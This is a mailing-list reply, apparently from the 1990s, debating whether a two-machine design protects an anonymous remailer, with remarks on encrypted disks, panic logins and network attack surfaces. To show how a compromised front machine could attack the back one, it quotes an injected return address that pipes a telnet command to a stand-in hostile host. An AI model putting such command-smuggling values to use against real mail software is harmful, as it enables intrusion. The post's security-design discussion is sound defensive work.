Re: Remailer passphrases

[Adam Shostack <adam@lighthouse.homeport.org>]

Alex Strasheim wrote:

| If we ignore the obvious problem (ie., no one is going to put much effort
| or expense into running a free remailer), wouldn't splitting the remailer
| across two machines help fix the security problem? 

	This is a long standing debate in the security community.
Some folks like multiple box security.  Others point out that using
two boxes means both need to be well secured, and you have twice as
many places to make mistakes.

| Suppose one unix box accepts the mail and puts it a queue directory.  Then
| a second box periodically grabs files from the first box's queue with ssh
| (the second box initiates the connection), processes them, and then passes
| them out to the smtp server on the first box.  The second box doesn't
| accept incoming connections on any port except for the ssh port so there
| are no sendmails or httpds to hack.

	Lets say the boxes are called workstation and blackbox.  If I
break into workstation, I can provide bogus files for blackbox.  Since
blackbox extends some trust to workstation, it might not be expecting
to see a message with a return address of "`|telnet evil.fbi.gov`".

	I'd argue that setting up a simple mailer which uses
workstation as a relay host gives you as much security, and lessens
your dependance on workstation, which we expect will be comprimised.
(Of course we expect ws to be comprimised.  Why else are we setting up
bb as a seperate machine?)

| The remailer files could be running on a cfs drive (with nfs/cfs only
| accepting connects from localhost), and you could disable getty so that it
| would be hard to physically grab the machine and read the contents of the
| disk.  If you had enough ram you wouldn't need a swap file, so there'd be
| nothing there for someone who grabbed the machine.  If you set the machine
| up while it's plugged into a small lan that's not connected to the net no
| one could come in and hide something before you had secured everything. 

	Turning of getty and removing the swap file strike me as a bit
extreme.  A panic login system, otoh, that accepts a bad password and
wipes the disk, might not be a bad idea.  (Of course, if this becomes
popular, the bad guys will just rip out your disk and read it on
another machine.)

| I know an attacker could interrupt service, and I'd guess that a skillful
| attacker could probably find a way to grab the cfs and remailer
| passphrases if he could grab the machine and the control the site
| physically (to work on it while it's running) for awhile, but how would an
| attacker come in over the net and hack the remailer box?  

	Be awful tough if it only listens to ssh & smtp.  Are you sure
your kernel doesn't do anything bogus with ICMP?  Data overflows in
ssh or smap?  DNS, syslogd, tty overloads?

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume